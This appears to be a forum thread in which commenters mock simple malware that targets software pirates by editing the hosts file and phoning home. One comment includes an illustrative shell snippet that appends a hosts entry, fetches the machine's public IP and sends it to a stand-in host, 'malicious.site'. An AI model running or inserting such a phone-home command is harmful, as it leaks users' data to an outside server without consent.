It doesn't sound like particulary clever malware to me. It sends a filename to some logging service, then opens the windows hosts file and adds some lines to it. And it's only run because the downloader thinks it's some pirated software or keygen.

Not to say there aren't some folks wasting time on more clever malware.

This is definitely no Stuxnet or even remotely close. In fact, it's not even a very new strategy, themes of this have been done several times to varying degrees of sophistication.

That's what I mean. The bar is pretty low, and yet someone chose to go even lower.

These skills are not that special. As far as I understand it, there are no exploits being used and editing the hosts file is not particularly hard. I expect that the executable is voluntary run by the user, since the user expects to run a real application/installer anyways.

>These skills are not that special.

If you can do this, you can learn more advanced stuff. Society has bigger problems than getting some free software, and it's not just a lesser problem - it's scraping the bottom of the barrel of justice.

If someone needed to write this to pay bills, I get it, but they should immediately take this and use it to get a better job.

I'm going to agree with the others here, this doesn't sound very complicated at all. This is week 1/2 of many programming courses: basic network request, write to a file and fill your app with a bunch of text. For many languages, this is often their intro tutorial. I wouldn't use this as an example that the person can do more advanced stuff.

But I do agree with your sentiment, people doing things like this should apply their talents to better causes.

I think GOBBLES pioneered this technique in like 1992 A.D. with their “Hydra”. Iirc it was claimed to exploit (jinglebellz.c) .mp3 players on behalf of the RIAA and to spread through file sharing networks. https://www.theregister.com/2003/01/14/is_the_riaa_hacking_y...

Better that they sell their souls to corporates the usual way.

Violating people's computers directly isn't better in any way shape of form.

I think "good enough" in this case is the equivalent of "took a Linux class in high school."

  echo "127.0.0.1 thepiratebay.org" >> /etc/hosts

  MY_IP=$(curl ifconfig.me)

  curl malicious.site/phone_home.php?ip=$MY_IP

(which isn't to say that this is the approach the malware is taking, but it _can_ be)

The hardest part is writing and hosting the aforementioned malicious.site server, but storing user input isn't anything you wouldn't see in the average beginner tutorial.

So if you have these skills or interests, what should you do with them?

Blue team at companies

Red team at pentest companies

Law enforcement

Just about any level of effort will be better spent than going after software pirates, even if you end up only doing entry level jobs. Throw a dart blindfolded and you'll probably end up better than this.